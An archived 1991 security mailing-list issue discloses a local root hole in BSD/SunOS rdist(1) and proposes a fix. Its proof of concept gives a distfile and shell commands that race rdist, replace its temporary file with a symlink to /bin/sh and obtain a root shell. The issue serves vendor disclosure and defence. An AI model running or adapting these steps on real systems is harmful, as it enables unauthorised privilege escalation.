The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #20 1991-09-12 (1 file, 1804 bytes)
SOURCE: http://securitydigest.org/exec/display?f=core/archive/120.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Thu Sep 12 20:35:03 PDT 1991
Subject: Core Security Digest V1 #20

Core Security Digest Volume 1 Issue 20

subject(s):

            one for the inner core.

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                              core@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO:   core-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO:             core-request@uninet.cpd.com


------------------------------------------------------------------------

Date: Wed, 11 Sep 91 13:08:52 PDT
From: Brad.Powell@Corp.Sun.COM
Subject: one for the inner core.

[ Received this today.  My own testing results: as expected, Suns and
Solbournes have the hole, as does Ultrix 4.2 on a DECstation.  The
NeXT seems to be safe.  The IBM 6000 doesn't have an on-line manual
page for rdist and I can't get rdist to work on it. - neil ]

Neil-
I turn to you, since this bug seems to be in BSD UN*X as well as AIX for
that matter. We are working out a fix now, but others will need to also.
We have had a fix suggested to us, and are evaluating now. The fix description
is at the end.

Brad Powell
Sun Microsystems
Software Security Coordinator.

SENSITIVE INFO FOLLOWS:

SUMMARY
        Users can gain root access with rdist(1) as shipped with BSD 4.x
         And probably all systems derived thereof (SunOS 4.X included)

DESCRIPTION
        Rdist(1) is a program that updates files on remote machines.
        At the end of the update it does a chmod on the file (under certain
        circumstances). The pathname used is the pathname of the
        temporary file. The chmod(2) is done as root.
        During the transfer of a file there is a window of opportunity
        in which the user can replace the temporary file by a symbolic
        link to a system executable.
        (It also does a chown(2), but chown(2) doesn't follow symlinks,
        but chmod(2) does.)

Example  (use the following file as distfile)
   -------distfile
THEHOST = thehost # can be localhost
THEFILE = largefile
THEDEST = /tmp/file

${THEFILE} -> ${THEHOST}
        install ${THEDEST};

  ----end of distfile

user% cp /vmunix largefile
user% chmod u+s largefile
user% rdist
updating thehost
installing: largefile
^Z
Stopped
user% rsh thehost
user@thehost% cd /tmp
user@thehost% ls -l
rdistXXXXXX
user@thehost%  rm rdistXXXXX; ln -s /bin/sh rdistXXXXX
~^Z
Stopped
user% fg %rdist
Note: host: utimes failed /tmp/rdistXXXX: Not owner
user% fg %rsh
user@thehost% /bin/sh
# whoami
root

    proposed fix description===(unimplemented)

The problem is the routine chog() in rdist/server.c
It chown(2)s/chmod(2)s as root.
This is not necessary for the following reasons:

        - If rdist is not run by the superuser (uid != euid),
          all files created have owner <user>. If they don't have owner
          <user>, <user> should not be allowed to chown it.
          No chown is needed and chmod is allowed.
          chgrp (== chmod(file,-1,<grpid>)) is allowed (and can be needed)
        - If rdist is run by the superuser (uid = euid = 0)
          chown might be necessary, but root can chown anyway.
        - Chmod is always allowed (you own the file or user is root).

In my fix, chmod and chown will always run with the effective uid of
the user invoking rdist(1).
In my mind, this fixes any possible abuse of the calls to chown and chmod.

------------------------------------------------------------------------

        End of Core Security Digest Volume 1 Issue 20
        **********************

END OF DOCUMENT